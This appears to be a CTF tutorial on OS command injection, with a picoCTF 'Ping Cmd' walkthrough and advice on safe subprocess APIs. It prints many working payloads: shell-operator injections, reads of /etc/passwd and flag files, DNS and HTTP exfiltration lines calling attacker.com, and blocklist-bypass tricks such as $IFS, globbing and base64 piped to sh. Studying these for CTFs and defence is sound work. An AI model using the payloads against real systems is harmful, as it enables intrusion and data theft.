Introduction
Most command injection CTF writeups hand you a payload list and call it a day. That works until the challenge wraps the input in a blocklist, and suddenly every payload you memorized returns an error. The sharper mental model is that the shell is a parser with documented quirks, and the "payloads" are just parser loopholes. Once you see it that way, you stop memorizing and start reading a spec.
Command injection shows up whenever a web app or service takes user input and concatenates it into a shell command string. The textbook example is a diagnostic tool that accepts an IP address and runsping -c 4 <input> through system(), shell_exec(), orsubprocess.run(..., shell=True). The Open Web Application Security Project (OWASP) groups it under Top 10 A03:2021 Injection(the broader injection family, including SQL and cross-site scripting; the family as a whole slipped from the #1 slot in 2017 to #3 in 2021). The specific weakness is tracked in MITRE's Common Weakness Enumeration as CWE-78, OS Command Injection, which has appeared on every CWE Top 25 Most Dangerous Software Weaknesses list from 2019 through 2025.
in-band), or do you need to infer success another way (blind)? Which shell metacharacters is the parser willing to interpret? And what does the blocklist actually match, bytes or tokens? The answer tells you which payload family fits.When to use: Command output is reflected in the response body
When to use: No output reflection, but you can observe response delay
When to use: No reflection, no timing signal - exfil via DNS or HTTP callback
When to use: Blind, but the server exposes a static directory you can read back
The shell is a parser, not a payload list
The Bash manualdefines a metacharacter as "a character that, when unquoted, separates words": space, tab, newline, or one of | & ; ( ) < >. The set of control operators is small and documented:|| && & ; ;; ;& ;;& | |& ( ). Every one of them is a place where attacker-controlled input can splice a second command into the stream.
| Operator | Behavior | Example payload |
|---|---|---|
| ; | Run the next command unconditionally (Unix only) | 8.8.8.8; id |
| | | Pipe stdout of the first command into the second | 8.8.8.8 | id |
| && | Run the next command only if the first succeeds | 8.8.8.8 && id |
| || | Run the next command only if the first fails | notanip || id |
| `cmd` | Legacy command substitution | `id` |
| $(cmd) | Modern command substitution, nestable | $(id) |
| newline | Statement terminator (send as %0a URL-encoded) | 8.8.8.8%0aid |
The OWASP project describes command injection succinctly as "an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application," and it notes a useful boundary: command injection extends what the app already does, while code injection adds new code. A form that wraps ping and lets an attacker append ; cat /flagis command injection. A form that takes raw Python and eval()s it is code injection.
In-band reads: when output reflects back
The easiest case. You inject, the server runs your payload, and the output lands directly in the HTTP response body. Start with the confirmation payload, then pivot to recon, then grab the flag.
# 1. Confirm the injection point8.8.8.8; id8.8.8.8 && whoami# 2. Locate the flag8.8.8.8; ls /8.8.8.8; find / -name 'flag*' 2>/dev/null8.8.8.8; env# 3. Read it8.8.8.8; cat /flag.txt
The first time I saw the 2>/dev/null trick I thought it was noise. It is not. File descriptor 2 is standard error (stderr), and 2>/dev/null redirects it to the bit bucket. A recursive find / without that redirect floods the response with permission-denied errors and makes the flag line almost impossible to spot.
PortSwigger's Web Security Academy keeps a handy enumeration table: whoami for the user, uname -a for the OS,ifconfig or ip a for network, ps -ef for processes. On Windows the equivalents are whoami, ver, ipconfig /all,tasklist. CTF flags usually live in /flag.txt, /flag, or/root/flag.txt, but always run ls / first because the exact filename often carries a random suffix.
picoCTF challenges using this technique
Ping Cmd is pure command injection via a web ping form. n0s4n1ty 1 reaches command execution through a related path (PHP file upload to a web shell), useful as a cousin pattern to see on the same box. For a broader look at web exploitation, see SQL Injection for CTF.
Blind injection: when nothing reflects
Blind command injection means the app runs your payload but never echoes the output. You need a side channel. Three classic ones: timing, file write, and out-of-band callbacks.
Time-based
Inject a deliberate delay. If the response takes measurably longer, your command ran. This is the cheapest confirmation because it needs no infrastructure.
# Unix: sleep for 5 seconds8.8.8.8; sleep 5# PortSwigger-style ping delay (Linux uses -c, Windows uses -n)& ping -c 10 127.0.0.1 &# Conditional delay (Boolean exfil, one bit per request)8.8.8.8; [ $(whoami) = root ] && sleep 5
Output redirection to a reachable file
If the web server exposes a static directory, redirect your command's stdout into a file under that directory and then browse to it. This turns a blind injection into an in-band one in two requests.
; id > /var/www/html/uploads/out.txt# then fetch http://target/uploads/out.txt
Out-of-band (OAST) via DNS or HTTP
Out-of-band application security testing (OAST) means using an external collaborator you control, such as Burp Collaboratoror ProjectDiscovery's open-source interactsh, to receive DNS or HTTP callbacks. The first DNS callback I ever caught from a blind target felt unreal: a query showed up on my collaborator instance carrying the string www-data as the subdomain, and the whole exfil pipeline was three lines of payload. Each DNS label carries up to 63 bytes (RFC 1035), and outbound DNS is almost never blocked by corporate egress rules. The queried name is the exfil channel: every lookup your collaborator receives embeds whatever the shell produced.
# DNS callback - leaks whoami as a subdomain; nslookup $(whoami).attacker.com# HTTP callback - exfil with base64 encoding; curl http://attacker.com/$(id | base64 -w0)
Filter bypass: the blocklist blind spots
PortSwigger's academy gives the single best defensive quote in this space: practitioners should "never attempt to sanitize input by escaping shell metacharacters." The reason is that the bypass surface is enormous, and a blocklist that misses one character family loses the whole filter. Four bypass families cover most of what you will hit in CTFs.
1. Space filters
The filter strips or blocks " ". Substitute it with something the shell expands to whitespace before running. $IFS is the Internal Field Separator, which expands to space, tab, and newline. $IFS$9 chains a second parameter expansion directly behind it: the leading $ in $9 terminates the $IFS variable name (a bare$ is not a valid identifier character), and $9 itself is the ninth positional argument, which is almost always unset in a web command-exec context. Net effect: whitespace followed by nothing, cleanly separated.
cat$IFS/etc/passwdcat$IFS$9/etc/passwd{cat,/etc/passwd} # brace expansion emits a real spacecat%09/etc/passwd # URL-encoded tabcat<<<$(ls\ /) # here-string, bash-only
2. Keyword filters
The filter blocks cat, bash, /etc/passwd, or similar literal strings. Rebuild the literal from pieces the filter cannot recognize. Pathname expansion resolves wildcards against the filesystem before the shell hands the command off to the kernel, so the string /???/c?tnever contains the byte sequence "cat" but has expanded to /bin/cat by the time the program actually runs.
# Globs/???/c?t /e??/p?ss?? # expands to /bin/cat /etc/passwd# Variable concatenationa=ca;b=t;$a$b /etc/passwd# Token splits (backslash, empty quotes, $@)c\at /etc/pa\sswdc""at /etc/pas""swdcat$@ /etc/passwd# Parameter-expansion surgery to produce a slash without typing onecat${HOME:0:1}etc${HOME:0:1}passwd # bash-only
3. Whole-command filters
The filter blocks every dangerous command name and most metacharacters. Smuggle the payload as base64 and decode inside the shell process. The bytes that hit the filter are only alphanumerics and a single pipe.
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh# Reconstruct a forbidden string with printf hex escapes$(printf '\x63\x61\x74') /etc/passwd # prints 'cat'
4. Read without cat
Dozens of Unix tools will dump a file to stdout as a side effect of their real job. When cat, less, more, head, and tail are all blocked, one of these almost always survives. The GTFOBins project catalogs them formally under the file-read capability.
xxd /etc/passwd | xxd -r # xxd then reverserev /etc/passwd | rev # rev twiceawk 1 /etc/passwd # 1 is a truthy pattern with no action block, triggers default printgrep "" /etc/passwd # empty pattern matches every lineod -c /etc/passwdnl /etc/passwd$(</etc/passwd) # bash-only null-command redirection
Dash vs bash: the shell you actually get
This is the gotcha that eats entry-level CTF players. I lost an hour to it once, staring at a working readlinkoutput and a brace-expansion payload that the server kept rejecting with "bad substitution". On Debian and Ubuntu, /bin/sh is a symlink to dash, not bash. Most PHP, Python, and Node web apps invoke the shell through /bin/sh -c, which means your injected payload runs under dash even on a machine where an interactive bash prompt exists. A pile of "bash tricks" break silently.
| Technique | Works in dash? | Works in bash? |
|---|---|---|
| $IFS$9, $IFS | Yes | Yes |
| /???/c?t wildcards | Yes | Yes |
| c\at backslash splits | Yes | Yes |
| {cat,/etc/passwd} brace expansion | No | Yes |
| ${HOME:0:1} substring | No | Yes |
| <<< here-string | No | Yes |
| $(</file) null redirection | No | Yes |
The fastest probe: inject ; ls -l /bin/sh, which shows the symlink target if one exists, or ; ps -p $$, which names the shell process actually running your command. If either reveals dash, drop the bash-only payloads from your list. If you need bash features, you can often re-enter with ; bash -c 'your payload here', assuming bash is installed and not blocklisted.
Language traps that spawn a shell
Command injection almost always traces back to a specific dangerous API in the host language. The pattern is the same across stacks: passing a full command string instead of an argv list tells the runtime to invoke a shell, which is where injection becomes possible.
- Python. The official subprocess docs warn that when
shell=True, "it is the application's responsibility to ensure that all whitespace and metacharacters are quoted appropriately to avoid shell injection vulnerabilities." The documented guidance is blunt: pass a list.subprocess.run(["ping", "-c", "4", user_ip])bypasses the shell entirely. - Node.js. The child_process API docs warn under
exec(): "Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution."execFile()andspawn()do not spawn a shell by default and are the safe defaults. - PHP.
shell_exec,system,exec,passthru, and the backtick operator all invoke a shell.escapeshellargexists but is routinely misused. - Java. OWASP notes an unusual detail: the
Runtime.exec(String)overload tokenizes its input and runs the first word as the program directly, so that specific overload does not invoke a shell, and classic; cat /flagpayloads fail against it. Java code that builds a command string and wraps it insh -c(or usesProcessBuilderwith a shell prefix) is as vulnerable as anything else, and argument-injection bugs (see CWE-88) are common even when the shell is out of the loop.
picoCTF: Ping Cmd walkthrough
The Ping Cmd challenge from picoCTF 2026 is the textbook entry point. The landing page hosts a web form that accepts an IP address and runs ping against it. There is no client-side validation and, as it turns out, no server-side validation either.
# 1. Baseline request (normal use)POST /ping -> ip=8.8.8.8 -> response shows ping output# 2. Injection confirmationip=8.8.8.8; id# response now includes: uid=33(www-data) gid=33(www-data)# 3. Locate the flagip=8.8.8.8; ls /# response lists: bin boot dev etc flag.txt home ...# 4. Read itip=8.8.8.8; cat /flag.txt# picoCTF{c0mmand_1nj3ct10n_...}
Three small notes make the difference between solving this in two minutes and losing an hour. First, the challenge uses a shell-through diagnostic, which is exactly the antipattern OWASP flags as the canonical command injection shape. Second, the output is reflected verbatim, so this is in-band and you never need to reach for the blind techniques. Third, there is no blocklist, so the simplest semicolon payload works; if a later revision of the challenge adds a filter, the bypass table above applies directly.
For a cousin pattern that also ends in arbitrary command execution via a different door, see n0s4n1ty 1 (PHP file upload to a web shell). The payload mechanics are different but the mental model is the same: find the layer that hands user input to /bin/sh, then control the tokenization.
Quick reference
| Scenario | Payload |
|---|---|
| Confirm injection | ; id |
| Read flag (in-band) | ; cat /flag.txt |
| Find flag file | ; find / -name 'flag*' 2>/dev/null |
| Blind time-based | ; sleep 5 |
| Blind DNS exfil | ; nslookup $(whoami).attacker.com |
| Blind HTTP exfil | ; curl attacker.com/$(id|base64 -w0) |
| Space filtered | cat$IFS$9/etc/passwd |
| Keyword "cat" blocked | /???/c?t /etc/passwd |
| Newline separator | ip=8.8.8.8%0aid |
| Base64 smuggle | echo <b64> | base64 -d | sh |
| Shell identification | ; readlink /bin/sh |
Related picoCTF writeups